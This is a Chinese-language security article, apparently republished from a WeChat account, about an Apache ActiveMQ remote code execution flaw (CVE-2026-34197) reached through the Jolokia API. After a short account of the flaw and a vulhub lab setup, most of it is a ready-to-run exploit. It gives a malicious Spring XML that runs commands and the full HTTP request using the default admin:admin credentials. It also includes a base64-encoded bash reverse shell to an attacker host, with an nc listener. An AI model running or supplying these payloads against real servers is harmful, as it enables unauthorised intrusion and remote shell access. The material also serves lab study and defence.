ActiveMQ又爆核弹级RCE(CVE-2026-34197):远程执行任意代码,一个包拿shell,附POC

admin 2026-05-01 04:51:15 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档分析ApacheActiveMQ核弹级RCE漏洞CVE-2026-34197,影响5.x<5.19.4和6.0.0-6.2.3版本。漏洞原理为JolokiaJMX-HTTP桥接暴露BrokerMBean的addNetworkConnector方法,攻击者通过构造vm://传输URI触发远程SpringXML解析导致任意代码执行。文章提供环境搭建步骤、渗透测试流程及POC示例,包括命令执行和反弹shell利用方法,强调需在授权环境下测试。 综合评分: 85 文章分类: 漏洞分析,渗透测试,漏洞POC,WEB安全,安全工具


cover_image

ActiveMQ 又爆核弹级 RCE(CVE-2026-34197):远程执行任意代码,一个包拿 shell,附 POC

原创

澄影安全 澄影安全

0x66安全

2026年4月30日 15:30 广东

在小说阅读器读本章

去阅读

1.Apache ActiveMQ是什么?

Apache ActiveMQ是美国阿帕奇(Apache)基金会的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。

2.影响版本

  • 5.x < 5.19.4
  • 6.0.0 ≤ 6.x < 6.2.3

3.漏洞原理

CVE-2026-34197是Apache ActiveMQ 5.19.4版本之前以及6.0.0至6.2.3版本之前存在的一个远程代码执行漏洞。Jolokia JMX-HTTP桥接暴露了ActiveMQ自身MBeans上的操作,其中包括Broker MBean上的addNetworkConnector(String)方法。

经过认证的攻击者可以调用该操作,传入一个精心构造的vm://传输URI,其中包含指向攻击者控制的Spring XML配置文件的brokerConfig参数。当ActiveMQ处理该URI时,会获取并解析远程XML配置,从而触发Spring Bean实例化并执行任意代码。

该漏洞可以与CVE-2024-32114(ActiveMQ 6.0.0至6.1.1版本中Jolokia未授权访问)组合利用实现未授权RCE,也可以在需要API认证的版本上使用默认凭据(admin:admin)进行利用。

4.环境搭建

访问下面链接下载环境

https://github.com/vulhub/vulhub/tree/master/activemq/CVE-2026-34197

下载完成后进入文件夹,运行

docker&nbsp;compose up -d或者docker-compose up -d

由于ActiveMQ 6.2.2已对Jolokia API增加了认证要求。未携带凭据发送请求将返回401 Unauthorized:

因为由于CVE-2026-34197是一个认证后的RCE漏洞,所以服务启动后,访问http://your-ip:8161即可看到ActiveMQ Web控制台,使用默认凭据admin:admin登录。

可以访问ActiveMQ Web管理控制台http://:8161/admin/index.jsp,查看页面底部的版本号

5.渗透测试

首先,在攻击机上启动一个HTTP服务器,用于托管恶意Spring XML配置文件。以下示例会在目标服务器上执行id > /tmp/success命令:

<?xml version="1.0"&nbsp;encoding="UTF-8"?><beans&nbsp;xmlns="http://www.springframework.org/schema/beans"&nbsp; &nbsp; &nbsp; &nbsp;xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"&nbsp; &nbsp; &nbsp; &nbsp;xsi:schemaLocation="http://www.springframework.org/schema/beans&nbsp; &nbsp; &nbsp; &nbsp;http://www.springframework.org/schema/beans/spring-beans.xsd">&nbsp; &nbsp;&nbsp;<bean&nbsp;id="exec"&nbsp;class="java.lang.ProcessBuilder"&nbsp;init-method="start">&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<constructor-arg>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<list>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<value>bash</value>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<value>-c</value>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<value><![CDATA[id > /tmp/success]]></value>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</list>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</constructor-arg>&nbsp; &nbsp;&nbsp;</bean></beans>

在poc.xml所在目录启动HTTP服务器:

python&nbsp;-m http.server&nbsp;80

然后,使用默认凭据发送如下请求到Jolokia API来调用Broker MBean上的addNetworkConnector操作。

该请求创建一个使用static:发现URI的网络连接器,指向一个vm://传输,其brokerConfig参数通过Spring的xbean:资源加载引用攻击者的恶意XML。

将your-ip替换为目标ActiveMQ服务器地址,evil-ip替换为攻击者HTTP服务器地址:

POST /api/jolokia/ HTTP/1.1Host: your-ip:8161Content-Type: application/jsonAuthorization: Basic YWRtaW46YWRtaW4={"type":"exec","mbean":"org.apache.activemq:type=Broker,brokerName=localhost","operation":"addNetworkConnector(java.lang.String)","arguments":["static:(vm://evil?brokerConfig=xbean:http://evil-ip/poc.xml)"]}

当ActiveMQ处理该网络连接器时,它会尝试连接到vm://evil代理。由于名为”evil”的代理不存在,ActiveMQ会使用brokerConfig参数来创建它。xbean:前缀告诉ActiveMQ使用Spring的ResourceXmlApplicationContext来加载配置,该机制支持HTTP URL。Spring解析远程XML并实例化所有定义的Bean——包括我们的ProcessBuilderBean,其start()初始化方法会执行操作系统命令。

Burp发送请求,成功执行命令

通过检查容器内的结果文件来验证命令已执行:

docker compose&nbsp;exec&nbsp;activemq&nbsp;ls&nbsp;-al /tmp/docker compose&nbsp;exec&nbsp;activemq&nbsp;cat&nbsp;/tmp/success

5.反弹shell POC 及渗透测试过程

获取反弹shell poc xml文件如下

<?xml version="1.0"&nbsp;encoding="UTF-8"?><beans&nbsp;xmlns="http://www.springframework.org/schema/beans"&nbsp; &nbsp; &nbsp; &nbsp;xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"&nbsp; &nbsp; &nbsp; &nbsp;xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">&nbsp; &nbsp;&nbsp;<bean&nbsp;id="pb"&nbsp;class="java.lang.ProcessBuilder"&nbsp;init-method="start">&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<constructor-arg>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<list>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<value>/bin/bash</value>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<value>-c</value>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<value>echo "BASE64_ENCODED_REVERSE_SHELL" | base64 -d | bash</value>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</list>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</constructor-arg>&nbsp; &nbsp;&nbsp;</bean></beans>

BASE64_ENCODED_REVERSE_SHELL将替换为实际反弹 shell 命令的 Base64 编码。

例如,监听在10.0.0.1:4444的反弹 shell 命令为:

bash&nbsp;-i >& /dev/tcp/10.0.0.1/4444&nbsp;0>&1

编码后为:

YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80NDQ0IDA+JjE=

最终value内容为:

echo&nbsp;"YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80NDQ0IDA+JjE="&nbsp;|&nbsp;base64&nbsp;-d | bash

为什么使用 Base64 + echo?

为了避免 XML 或命令行中的特殊字符(如 >&| 等)导致解析错误。

使用说明

  • 将 your-ip 替换为目标 ActiveMQ 的 IP 地址和端口(默认端口为 8161)。
  • 将 evil-ip 替换为托管 poc.xml 的攻击者 HTTP 服务器地址。
  • 在攻击者机器上监听反弹 Shell(例如使用 nc -lvnp 4444)。

在攻击者机器上监听反弹 shell,成功获得反弹shell

📎 获取方法

整理了一份常用工具和笔记,后台回复:资料

回复加群获取交流群

⚠️ 最后必看 – 免责声明

文章中的案例或工具仅面向合法授权的企业安全建设行为,请自行搭建靶机环境,勿用于非法行为。如用于其他用途,由使用者承担全部法律及连带责任。

本项目所有收录的poc均为漏洞的理论判断,不存在漏洞利用过程,不会对目标发起真实攻击。文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用。

如您在使用过程中存在任何非法行为,需自行承担相应后果。本工具来源于网络,若有侵权请联系删除,请勿用于商业行为!

📚 往期推荐

微信号: 关注公众号获取 | 扫码关注了解更多


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:0x66安全 澄影安全 澄影安全《ActiveMQ 又爆核弹级 RCE(CVE-2026-34197):远程执行任意代码,一个包拿 shell,附 POC》

评论:0   参与:  0